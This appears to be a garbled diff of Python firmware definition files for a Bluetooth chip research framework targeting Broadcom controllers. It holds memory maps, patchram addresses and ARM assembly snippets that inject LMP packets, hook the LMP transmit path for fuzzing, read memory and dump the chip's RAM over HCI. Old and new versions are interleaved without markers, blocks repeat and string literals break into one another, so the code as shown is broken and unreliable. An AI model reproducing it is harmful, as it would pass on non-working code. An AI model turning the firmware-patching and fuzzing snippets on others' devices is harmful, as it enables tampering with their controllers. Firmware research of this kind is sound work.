||||
"tran_HIDUsbMSEvt",
|
||||
"tran_HIDUsbMSCtrl",
|
||||
"tran_HIDUsbKBCtrl",
|
||||
"tran_HidAuxData",
|
||||
"lm_Cmd",
|
||||
"hci_HciCommand",
|
||||
"lm_deferredAction",
|
||||
"lrmmsm_cmd",
|
||||
"liteHostEvent",
|
||||
"litehostRcvdL2capData",
|
||||
]
|
||||
|
||||
# Connection Structure and Table
|
||||
CONNECTION_ARRAY_ADDRESS = 0x002038E8
|
||||
CONNECTION_MAX = 11
|
||||
CONNECTION_STRUCT_LENGTH = 0x14C
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 128
|
||||
PATCHRAM_ALIGNED = True #use readMemAligned, not accessible via ReadRAM HCI command on Nexus 5
|
||||
# Patchram
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0xD0000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 128
|
||||
PATCHRAM_ALIGNED = (
|
||||
True # use readMemAligned, not accessible via ReadRAM HCI command on Nexus 5
|
||||
)
|
||||
|
||||
# Snippet for sendLcpPacket()
|
||||
SENDLCP_CODE_BASE_ADDRESS = 0x00211900
|
||||
SENDLCP_ASM_CODE = """
|
||||
push {r4,lr}
|
||||
|
||||
// we want to call lmulp_sendLcp(conn_index, input, length)
|
||||
|
||||
mov r0, %d // connection index, starts at 0
|
||||
ldr r1, =payload
|
||||
mov r2, %d // length
|
||||
bl 0x66760 // lmulp_sendLcp
|
||||
|
||||
pop {r4,pc} // go back
|
||||
|
||||
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
|
||||
payload: // Note: the payload will be appended here by the sendLmpPacket() function
|
||||
"""
|
||||
|
||||
# Snippet for sendLmpPacket()
|
||||
SENDLMP_CODE_BASE_ADDRESS = 0xd7500
|
||||
SENDLMP_ASM_CODE = """
|
||||
push {r4,lr}
|
||||
# Snippet for sendLmpPacketLegacy()
|
||||
SENDLMP_CODE_BASE_ADDRESS = 0xD7500
|
||||
SENDLMP_ASM_CODE = """
|
||||
push {r4,lr}
|
||||
|
||||
// malloc buffer for LMP packet
|
||||
bl 0x3F17E // malloc_0x20_bloc_buffer_memzero
|
||||
mov r4, r0 // store buffer for LMP packet inside r4
|
||||
|
||||
// fill buffer
|
||||
add r0, 0xC // The actual LMP packet must start at offset 0xC in the buffer.
|
||||
// The first 12 bytes are (supposely?) unused and remain zero.
|
||||
ldr r1, =payload // LMP packet is stored at the end of the snippet
|
||||
mov r2, 20 // Max. size of an LMP packet is 19 (I guess). The send_LMP_packet
|
||||
// function will use the LMP opcode to lookup the actual size and
|
||||
// use it for actually transmitting the correct number of bytes.
|
||||
bl 0x2e03c // memcpy
|
||||
|
||||
// load conn struct pointer (needed for determine if we are master or slave)
|
||||
mov r0, %d // connection number is injected by sendLmpPacket()
|
||||
bl 0x42c04 // find connection struct from conn nr (r0 will hold pointer to conn struct)
|
||||
|
||||
// set tid bit if we are the slave
|
||||
ldr r1, [r0, 0x1c] // Load a bitmap from the connection struct into r1.
|
||||
lsr r1, 15 // The 'we are master'-bit is at position 15 of this bitmap
|
||||
and r1, 0x1 // isolate the bit to get the correct value for the TID bit
|
||||
ldr r2, [r4, 0xC] // Load the LMP opcode into r2. Note: The opcode was already shifted
|
||||
// left by 1 bit (done by sendLmpPacket()). The TID bit goes into
|
||||
// the LSB (least significant bit) of this shifted opcode byte.
|
||||
orr r2, r1 // insert the TID bit into the byte
|
||||
str r2, [r4, 0xC] // Store the byte back into the LMP packet buffer
|
||||
|
||||
|
||||
// send LMP packet
|
||||
mov r1, r4 // load the address of the LMP packet buffer into r1.
|
||||
// r0 still contains the connection number.
|
||||
pop {r4,lr} // restore r4 and the lr
|
||||
b 0xf81a // branch to send_LMP_packet. send_LMP_packet will do the return for us.
|
||||
|
||||
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
|
||||
payload: // Note: the payload will be appended here by the sendLmpPacket() function
|
||||
"""
|
||||
|
||||
// malloc buffer for LMP packet
|
||||
bl 0x3F17E // malloc_0x20_bloc_buffer_memzero
|
||||
mov r4, r0 // store buffer for LMP packet inside r4
|
||||
# Snippet for fuzzLmp()
|
||||
FUZZLMP_HOOK_ADDRESS = 0x1E48C # execute standard SendLmpPdu HCI to fill parameters
|
||||
FUZZLMP_CODE_BASE_ADDRESS = 0xD7500
|
||||
FUZZLMP_ASM_CODE = """
|
||||
// This hook is put into the end of bthci_cmd_vs_SendLmpPdu_1E45A,
|
||||
// so command parsing is still performed as normal. We jump in
|
||||
// before bthci_cmd_vs_SendLmpPdu pops and calls DHM_LMPTx.
|
||||
|
||||
// put length argument into table_entry
|
||||
// payload[5] holds the size argument
|
||||
ldr r7, =table_entry
|
||||
add r7, #4 // length offset within table entry
|
||||
ldrb r6, [r4, #5]
|
||||
strb r6, [r7]
|
||||
|
||||
// we need to do the original pop...
|
||||
pop {r4-r8, lr}
|
||||
|
||||
// now we simply continue like the original DHM_LMPTx function
|
||||
push {r4-r10, lr} // code at 0xF81A
|
||||
mov r8, r0
|
||||
movs r4, r1
|
||||
|
||||
// part of the check if hook_LMP_TxFilter_200D38 is installed
|
||||
ldr.w r9, =0x200D80
|
||||
sub.w r9, r9, #0x50
|
||||
ldr.w r2, [r9, #8]
|
||||
|
||||
mov r1, r4 // code at 0xF840
|
||||
mov r0, r8
|
||||
bl 0x50050 // rm_getDHMAclPtr_50050
|
||||
cmp r0, #1
|
||||
// skip check if we actually got a ptr
|
||||
// get connection struct, code at 0xF850
|
||||
ldr r0, =0x206eac // table_for_bt_tx_structs_206EAC
|
||||
ldr.w r7, [r8]
|
||||
add.w r6, r0, r7, lsl #5
|
||||
ldrb r0, [r6, #0x1f]
|
||||
cmp r0, #1
|
||||
// skip check in conection struct
|
||||
ldrb r0, [r4, #0xc] // ptr_to_opcode = buffer_cpy + 12;
|
||||
lsrs r1, r0, #1 // buffer_cpy[12] >> 1
|
||||
add.w r0, r4, #0x0c
|
||||
|
||||
// enable for debugging: ignore the remaining code and continue like normal opcode
|
||||
//b 0xF870
|
||||
|
||||
// now we regularily would call the opcode conversion table function
|
||||
// however, we do not use lm_getLmpInfoType_3F2D8 but insert our own table here
|
||||
ldr r1, =table_entry // table_ptr with exactly one entry, so no offsets included here
|
||||
ldr r0, =table_entry
|
||||
|
||||
// branch back to DHM_LMPTx position after bl lm_getLmpInfoType
|
||||
b 0xF874
|
||||
|
||||
.align
|
||||
table_entry:
|
||||
.byte 0x35 //nullsub1+1
|
||||
.byte 0xAC
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
.byte 0x20 //length, will be overwritten by us anyways, but can not be longer than one buffer (0x20)
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
"""
|
||||
|
||||
// fill buffer
|
||||
add r0, 0xC // The actual LMP packet must start at offset 0xC in the buffer.
|
||||
// The first 12 bytes are (supposely?) unused and remain zero.
|
||||
ldr r1, =payload // LMP packet is stored at the end of the snippet
|
||||
mov r2, 20 // Max. size of an LMP packet is 19 (I guess). The send_LMP_packet
|
||||
// function will use the LMP opcode to lookup the actual size and
|
||||
// use it for actually transmitting the correct number of bytes.
|
||||
bl 0x2e03c // memcpy
|
||||
|
||||
// load conn struct pointer (needed for determine if we are master or slave)
|
||||
mov r0, %d // connection number is injected by sendLmpPacket()
|
||||
bl 0x42c04 // find connection struct from conn nr (r0 will hold pointer to conn struct)
|
||||
|
||||
// set tid bit if we are the slave
|
||||
ldr r1, [r0, 0x1c] // Load a bitmap from the connection struct into r1.
|
||||
lsr r1, 15 // The 'we are master'-bit is at position 15 of this bitmap
|
||||
and r1, 0x1 // isolate the bit to get the correct value for the TID bit
|
||||
ldr r2, [r4, 0xC] // Load the LMP opcode into r2. Note: The opcode was already shifted
|
||||
// left by 1 bit (done by sendLmpPacket()). The TID bit goes into
|
||||
// the LSB (least significant bit) of this shifted opcode byte.
|
||||
orr r2, r1 // insert the TID bit into the byte
|
||||
str r2, [r4, 0xC] // Store the byte back into the LMP packet buffer
|
||||
|
||||
|
||||
// send LMP packet
|
||||
mov r1, r4 // load the address of the LMP packet buffer into r1.
|
||||
// r0 still contains the connection number.
|
||||
pop {r4,lr} // restore r4 and the lr
|
||||
b 0xf81a // branch to send_LMP_packet. send_LMP_packet will do the return for us.
|
||||
|
||||
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
|
||||
payload: // Note: the payload will be appended here by the sendLmpPacket() function
|
||||
# Assembler snippet for the readMemAligned() function
|
||||
READ_MEM_ALIGNED_ASM_LOCATION = 0xD7900
|
||||
READ_MEM_ALIGNED_ASM_SNIPPET = """
|
||||
push {r4, lr}
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r1, %d // readMemAligned() injects the number of bytes it wants to read here
|
||||
add r1, 6 // + type and length + 'READ'
|
||||
bl 0x7AFC // malloc_hci_event_buffer (will automatically copy event code and length into the buffer)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append our custom header (the word 'READ') after the event code and event length field
|
||||
add r0, 2 // write after the length field
|
||||
ldr r1, =0x44414552 // 'READ'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer. r0 now points to the beginning of our read data
|
||||
|
||||
// copy data to buffer
|
||||
ldr r1, =0x%x // readMemAligned() injects the read_address here. r1 will be used as src pointer in the loop
|
||||
mov r2, %d // readMemAligned() injects the number of dwords to read here. r2 will be the loop counter
|
||||
loop:
|
||||
ldr r3, [r1] // read 4 bytes from the read_address
|
||||
str r3, [r0] // store them inside the HCI buffer
|
||||
add r0, 4 // advance the buffer pointer
|
||||
add r1, 4 // advance the read_address
|
||||
subs r2, 1 // decrement the loop variable
|
||||
bne loop // branch if r2 is not zero yet
|
||||
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
bl 0x398c1 // send_hci_event_without_free()
|
||||
|
||||
// free HCI buffer
|
||||
mov r0, r4
|
||||
bl 0x3FA36 // free_bloc_buffer_aligned
|
||||
|
||||
pop {r4, pc} // return
|
||||
"""
|
||||
|
||||
|
||||
# Snippet for fuzzLmp()
|
||||
FUZZLMP_HOOK_ADDRESS = 0x1e48c # execute standard SendLmpPdu HCI to fill parameters
|
||||
FUZZLMP_CODE_BASE_ADDRESS = 0xd7500
|
||||
FUZZLMP_ASM_CODE = """
|
||||
// This hook is put into the end of bthci_cmd_vs_SendLmpPdu_1E45A,
|
||||
// so command parsing is still performed as normal. We jump in
|
||||
// before bthci_cmd_vs_SendLmpPdu pops and calls DHM_LMPTx.
|
||||
|
||||
// put length argument into table_entry
|
||||
// payload[5] holds the size argument
|
||||
ldr r7, =table_entry
|
||||
add r7, #4 // length offset within table entry
|
||||
ldrb r6, [r4, #5]
|
||||
strb r6, [r7]
|
||||
|
||||
// we need to do the original pop...
|
||||
pop {r4-r8, lr}
|
||||
|
||||
// now we simply continue like the original DHM_LMPTx function
|
||||
push {r4-r10, lr} // code at 0xF81A
|
||||
mov r8, r0
|
||||
movs r4, r1
|
||||
|
||||
// part of the check if hook_LMP_TxFilter_200D38 is installed
|
||||
ldr.w r9, =0x200D80
|
||||
sub.w r9, r9, #0x50
|
||||
ldr.w r2, [r9, #8]
|
||||
|
||||
mov r1, r4 // code at 0xF840
|
||||
mov r0, r8
|
||||
bl 0x50050 // rm_getDHMAclPtr_50050
|
||||
cmp r0, #1
|
||||
// skip check if we actually got a ptr
|
||||
// get connection struct, code at 0xF850
|
||||
ldr r0, =0x206eac // table_for_bt_tx_structs_206EAC
|
||||
ldr.w r7, [r8]
|
||||
add.w r6, r0, r7, lsl #5
|
||||
ldrb r0, [r6, #0x1f]
|
||||
cmp r0, #1
|
||||
// skip check in conection struct
|
||||
ldrb r0, [r4, #0xc] // ptr_to_opcode = buffer_cpy + 12;
|
||||
lsrs r1, r0, #1 // buffer_cpy[12] >> 1
|
||||
add.w r0, r4, #0x0c
|
||||
|
||||
// enable for debugging: ignore the remaining code and continue like normal opcode
|
||||
//b 0xF870
|
||||
|
||||
// now we regularily would call the opcode conversion table function
|
||||
// however, we do not use lm_getLmpInfoType_3F2D8 but insert our own table here
|
||||
ldr r1, =table_entry // table_ptr with exactly one entry, so no offsets included here
|
||||
ldr r0, =table_entry
|
||||
|
||||
// branch back to DHM_LMPTx position after bl lm_getLmpInfoType
|
||||
b 0xF874
|
||||
|
||||
.align
|
||||
table_entry:
|
||||
.byte 0x35 //nullsub1+1
|
||||
.byte 0xAC
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
.byte 0x20 //length, will be overwritten by us anyways, but can not be longer than one buffer (0x20)
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
"""
|
||||
|
||||
|
||||
# Assembler snippet for the readMemAligned() function
|
||||
READ_MEM_ALIGNED_ASM_LOCATION = 0xd7900
|
||||
READ_MEM_ALIGNED_ASM_SNIPPET = """
|
||||
push {r4, lr}
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r1, %d // readMemAligned() injects the number of bytes it wants to read here
|
||||
add r1, 6 // + type and length + 'READ'
|
||||
bl 0x7AFC // malloc_hci_event_buffer (will automatically copy event code and length into the buffer)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append our custom header (the word 'READ') after the event code and event length field
|
||||
add r0, 2 // write after the length field
|
||||
ldr r1, =0x44414552 // 'READ'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer. r0 now points to the beginning of our read data
|
||||
|
||||
// copy data to buffer
|
||||
ldr r1, =0x%x // readMemAligned() injects the read_address here. r1 will be used as src pointer in the loop
|
||||
mov r2, %d // readMemAligned() injects the number of dwords to read here. r2 will be the loop counter
|
||||
loop:
|
||||
ldr r3, [r1] // read 4 bytes from the read_address
|
||||
str r3, [r0] // store them inside the HCI buffer
|
||||
add r0, 4 // advance the buffer pointer
|
||||
add r1, 4 // advance the read_address
|
||||
subs r2, 1 // decrement the loop variable
|
||||
bne loop // branch if r2 is not zero yet
|
||||
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
bl 0x398c1 // send_hci_event_without_free()
|
||||
|
||||
// free HCI buffer
|
||||
mov r0, r4
|
||||
bl 0x3FA36 // free_bloc_buffer_aligned
|
||||
|
||||
pop {r4, pc} // return
|
||||
# Assembler snippet for tracepoints
|
||||
TRACEPOINT_BODY_ASM_LOCATION = 0xD7A00
|
||||
TRACEPOINT_HOOKS_LOCATION = 0xD7B00
|
||||
TRACEPOINT_HOOK_SIZE = 28
|
||||
TRACEPOINT_HOOK_ASM = """
|
||||
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
|
||||
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
|
||||
mov r7, %d // addTracepoint() injects the patchram slot of the hook patch
|
||||
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
|
||||
pop {r0-r12, lr} // restore registers
|
||||
|
||||
// branch back to the original instruction
|
||||
b 0x%x // addTracepoint() injects the address of the tracepoint
|
||||
"""
|
||||
|
||||
# Assembler snippet for tracepoints
|
||||
TRACEPOINT_BODY_ASM_LOCATION = 0xd7a00
|
||||
TRACEPOINT_HOOKS_LOCATION = 0xd7b00
|
||||
TRACEPOINT_HOOK_SIZE = 28
|
||||
TRACEPOINT_HOOK_ASM = """
|
||||
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
|
||||
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
|
||||
mov r7, %d // addTracepoint() injects the patchram slot of the hook patch
|
||||
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
|
||||
pop {r0-r12, lr} // restore registers
|
||||
|
||||
// branch back to the original instruction
|
||||
b 0x%x // addTracepoint() injects the address of the tracepoint
|
||||
"""
|
||||
TRACEPOINT_RAM_DUMP_PKT_COUNT = 670 # <ramsize> / <packetsize> where packetsize is 244
|
||||
TRACEPOINT_BODY_ASM_SNIPPET = """
|
||||
mov r8, lr // save link register in r8
|
||||
|
||||
// save status register in r5
|
||||
mrs r5, cpsr
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
|
||||
bl 0x7AFC // malloc_hci_event_buffer (will automatically copy event code and length into the buffer)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append our custom header (the word 'TRACE_') after the event code and event length field
|
||||
add r0, 2 // write after the length field
|
||||
ldr r1, =0x43415254 // 'TRAC'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
ldr r1, =0x5f45 // 'E_'
|
||||
strh r1, [r0]
|
||||
add r0, 2 // advance the pointer. r0 now points to the start of the register values
|
||||
|
||||
// store pc
|
||||
str r6, [r0] // r6 still contains the address of the original pc
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store sp
|
||||
mov r1, 56 // 14 saved registers * 4
|
||||
add r1, sp
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store status register
|
||||
str r5, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store other registers
|
||||
mov r1, sp
|
||||
mov r2, 56
|
||||
bl 0x2e03c+1 // memcpy(dst, src, len)
|
||||
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
bl 0x398c1 // send_hci_event_without_free()
|
||||
|
||||
// free HCI buffer
|
||||
mov r0, r4
|
||||
bl 0x3FA36 // free_bloc_buffer_aligned
|
||||
|
||||
mov r0, r7 // r7 still contains the patchram slot number
|
||||
bl 0x311AA // disable_patchram_slot(slot)
|
||||
|
||||
// restore status register
|
||||
msr cpsr_f, r5
|
||||
|
||||
// dump ram
|
||||
bl dump_ram
|
||||
|
||||
mov lr, r8 // restore lr from r8
|
||||
bx lr // return
|
||||
|
||||
|
||||
// function to dump the RAM as multiple HCI packets:
|
||||
dump_ram:
|
||||
push {r4-r6,lr}
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r1, 252 // buffer size
|
||||
bl 0x7AFC // malloc_hci_event_buffer (will automatically copy event code and length into the buffer)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append our custom header (the word 'RAM___') after the event code and event length field
|
||||
add r0, 2 // write after the length field
|
||||
ldr r1, =0x5f4d4152 // 'RAM_'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
ldr r1, =0x5f5f // '__'
|
||||
strh r1, [r0]
|
||||
add r0, 2 // advance the pointer. r0 now points to the start of the actual payload
|
||||
|
||||
mov r5, 0x200000 // start of ram
|
||||
ldr r6, =%d // number of ramdump packets to be sent
|
||||
|
||||
dump_ram_loop:
|
||||
// Set r0 to point to the beginning of the payload in the hci buffer
|
||||
mov r0, r4
|
||||
add r0, 8
|
||||
|
||||
// store current address
|
||||
str r5, [r0] // r5 contains the address in RAM which is send next
|
||||
TRACEPOINT_RAM_DUMP_PKT_COUNT = (
|
||||
670 # <ramsize> / <packetsize> where packetsize is 244
|
||||
)
|
||||
TRACEPOINT_BODY_ASM_SNIPPET = (
|
||||
"""
|
||||
mov r8, lr // save link register in r8
|
||||
|
||||
// save status register in r5
|
||||
mrs r5, cpsr
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
|
||||
bl 0x7AFC // malloc_hci_event_buffer (will automatically copy event code and length into the buffer)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append our custom header (the word 'TRACE_') after the event code and event length field
|
||||
add r0, 2 // write after the length field
|
||||
ldr r1, =0x43415254 // 'TRAC'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
ldr r1, =0x5f45 // 'E_'
|
||||
strh r1, [r0]
|
||||
add r0, 2 // advance the pointer. r0 now points to the start of the register values
|
||||
|
||||
// store pc
|
||||
str r6, [r0] // r6 still contains the address of the original pc
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// copy ram to hci buffer
|
||||
mov r1, r5
|
||||
mov r2, 244
|
||||
bl 0x2e03c // memcpy
|
||||
|
||||
|
||||
// store sp
|
||||
mov r1, 56 // 14 saved registers * 4
|
||||
add r1, sp
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store status register
|
||||
str r5, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store other registers
|
||||
mov r1, sp
|
||||
mov r2, 56
|
||||
bl 0x2e03c+1 // memcpy(dst, src, len)
|
||||
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
bl 0x398c1 // send_hci_event_without_free()
|
||||
|
||||
// delay loop; Workaround: without the delay, a lot of packets are not actually sent
|
||||
// through HCI.
|
||||
mov r0, 0x1000
|
||||
delay_loop:
|
||||
subs r0, 1
|
||||
bne delay_loop
|
||||
|
||||
// increment the RAM pointer; decrement the counter
|
||||
add r5, 244
|
||||
subs r6, 1
|
||||
|
||||
bne dump_ram_loop
|
||||
|
||||
// free HCI buffer
|
||||
mov r0, r4
|
||||
bl 0x3FA36 // free_bloc_buffer_aligned
|
||||
|
||||
pop {r4-r6,pc}
|
||||
""" % TRACEPOINT_RAM_DUMP_PKT_COUNT
|
||||
|
||||
// free HCI buffer
|
||||
mov r0, r4
|
||||
bl 0x3FA36 // free_bloc_buffer_aligned
|
||||
|
||||
mov r0, r7 // r7 still contains the patchram slot number
|
||||
bl 0x311AA // disable_patchram_slot(slot)
|
||||
|
||||
// restore status register
|
||||
msr cpsr_f, r5
|
||||
|
||||
// dump ram
|
||||
bl dump_ram
|
||||
|
||||
mov lr, r8 // restore lr from r8
|
||||
bx lr // return
|
||||
|
||||
|
||||
// function to dump the RAM as multiple HCI packets:
|
||||
dump_ram:
|
||||
push {r4-r6,lr}
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r1, 252 // buffer size
|
||||
bl 0x7AFC // malloc_hci_event_buffer (will automatically copy event code and length into the buffer)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append our custom header (the word 'RAM___') after the event code and event length field
|
||||
add r0, 2 // write after the length field
|
||||
ldr r1, =0x5f4d4152 // 'RAM_'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
ldr r1, =0x5f5f // '__'
|
||||
strh r1, [r0]
|
||||
add r0, 2 // advance the pointer. r0 now points to the start of the actual payload
|
||||
|
||||
mov r5, 0x200000 // start of ram
|
||||
ldr r6, =%d // number of ramdump packets to be sent
|
||||
|
||||
dump_ram_loop:
|
||||
// Set r0 to point to the beginning of the payload in the hci buffer
|
||||
mov r0, r4
|
||||
add r0, 8
|
||||
|
||||
// store current address
|
||||
str r5, [r0] // r5 contains the address in RAM which is send next
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// copy ram to hci buffer
|
||||
mov r1, r5
|
||||
mov r2, 244
|
||||
bl 0x2e03c // memcpy
|
||||
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
bl 0x398c1 // send_hci_event_without_free()
|
||||
|
||||
// delay loop; Workaround: without the delay, a lot of packets are not actually sent
|
||||
// through HCI.
|
||||
mov r0, 0x1000
|
||||
delay_loop:
|
||||
subs r0, 1
|
||||
bne delay_loop
|
||||
|
||||
// increment the RAM pointer; decrement the counter
|
||||
add r5, 244
|
||||
subs r6, 1
|
||||
|
||||
bne dump_ram_loop
|
||||
|
||||
// free HCI buffer
|
||||
mov r0, r4
|
||||
bl 0x3FA36 // free_bloc_buffer_aligned
|
||||
|
||||
pop {r4-r6,pc}
|
||||
"""
|
||||
% TRACEPOINT_RAM_DUMP_PKT_COUNT
|
||||
)
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python
|
||||
|
||||
# fw_0x6119.py
|
||||
#
|
||||
@@ -27,48 +27,67 @@
|
||||
|
||||
# Firmware Infos
|
||||
# This runs on Rasperry Pi 3+
|
||||
FW_NAME = "BCM4345C0"
|
||||
|
||||
# Device Infos
|
||||
DEVICE_NAME = 0x204954
|
||||
|
||||
# Memory Sections
|
||||
class MemorySection:
|
||||
def __init__(self, start_addr, end_addr, is_rom, is_ram):
|
||||
self.start_addr = start_addr
|
||||
self.end_addr = end_addr
|
||||
self.is_rom = is_rom
|
||||
self.is_ram = is_ram
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
def size(self):
|
||||
return self.end_addr - self.start_addr
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x0, 0x90000, True , False),
|
||||
MemorySection(0xd0000, 0xd8000, False, True ),
|
||||
#MemorySection(0xe0000, 0x1f0000, True , False),
|
||||
MemorySection(0x200000, 0x228000, False, True ),
|
||||
MemorySection(0x260000, 0x268000, True , False),
|
||||
#MemorySection(0x280000, 0x2a0000, True , False),
|
||||
MemorySection(0x318000, 0x320000, False, False),
|
||||
MemorySection(0x324000, 0x360000, False, False),
|
||||
MemorySection(0x362000, 0x362100, False, False),
|
||||
MemorySection(0x363000, 0x363100, False, False),
|
||||
MemorySection(0x600000, 0x600800, False, False),
|
||||
MemorySection(0x640000, 0x640800, False, False),
|
||||
MemorySection(0x650000, 0x650800, False, False),
|
||||
#MemorySection(0x680000, 0x800000, False, False)
|
||||
]
|
||||
class BCM4345C0(FirmwareDefinition):
|
||||
FW_NAME = "BCM4345C0"
|
||||
|
||||
# Connection Structure and Table
|
||||
CONNECTION_ARRAY_ADDRESS = 0x204ba8
|
||||
CONNECTION_MAX = 11
|
||||
CONNECTION_STRUCT_LENGTH = 0x150
|
||||
# Device Infos
|
||||
DEVICE_NAME = 0x204954
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 128
|
||||
PATCHRAM_ALIGNED = False
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x0, 0x90000, True, False),
|
||||
MemorySection(0xD0000, 0xD8000, False, True),
|
||||
# MemorySection(0xe0000, 0x1f0000, True , False),
|
||||
MemorySection(0x200000, 0x228000, False, True),
|
||||
MemorySection(0x260000, 0x268000, True, False),
|
||||
# MemorySection(0x280000, 0x2a0000, True , False),
|
||||
MemorySection(0x318000, 0x320000, False, False),
|
||||
MemorySection(0x324000, 0x360000, False, False),
|
||||
MemorySection(0x362000, 0x362100, False, False),
|
||||
MemorySection(0x363000, 0x363100, False, False),
|
||||
MemorySection(0x600000, 0x600800, False, False),
|
||||
MemorySection(0x640000, 0x640800, False, False),
|
||||
MemorySection(0x650000, 0x650800, False, False),
|
||||
# MemorySection(0x680000, 0x800000, False, False)
|
||||
]
|
||||
|
||||
# Connection Structure and Table
|
||||
CONNECTION_ARRAY_ADDRESS = 0x204BA8
|
||||
CONNECTION_MAX = 11
|
||||
CONNECTION_STRUCT_LENGTH = 0x150
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0xD0000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 128
|
||||
PATCHRAM_ALIGNED = False
|
||||
|
||||
# Heap
|
||||
BLOC_HEAD = 0x200490 # g_dynamic_memory_GeneralUsePools
|
||||
BLOC_NG = True # Next Generation Bloc Buffer
|
||||
|
||||
# Snippet for sendLcpPacket()
|
||||
SENDLCP_CODE_BASE_ADDRESS = 0x21F000
|
||||
SENDLCP_ASM_CODE = """
|
||||
push {r4,lr}
|
||||
|
||||
// we want to call lmulp_sendLcp(conn_index, input, length)
|
||||
|
||||
mov r0, %d // connection index, starts at 0
|
||||
ldr r1, =payload
|
||||
mov r2, %d // length
|
||||
bl 0x92062 // lmulp_sendLcp
|
||||
|
||||
pop {r4,pc} // go back
|
||||
|
||||
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
|
||||
payload: // Note: the payload will be appended here by the sendLmpPacket() function
|
||||
"""
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
# fw_0x617e.py
|
||||
#
|
||||
# Generic firmware file in case we do not know something...
|
||||
#
|
||||
# Copyright (c) 2019 Jiska Classen. (MIT License)
|
||||
#
|
||||
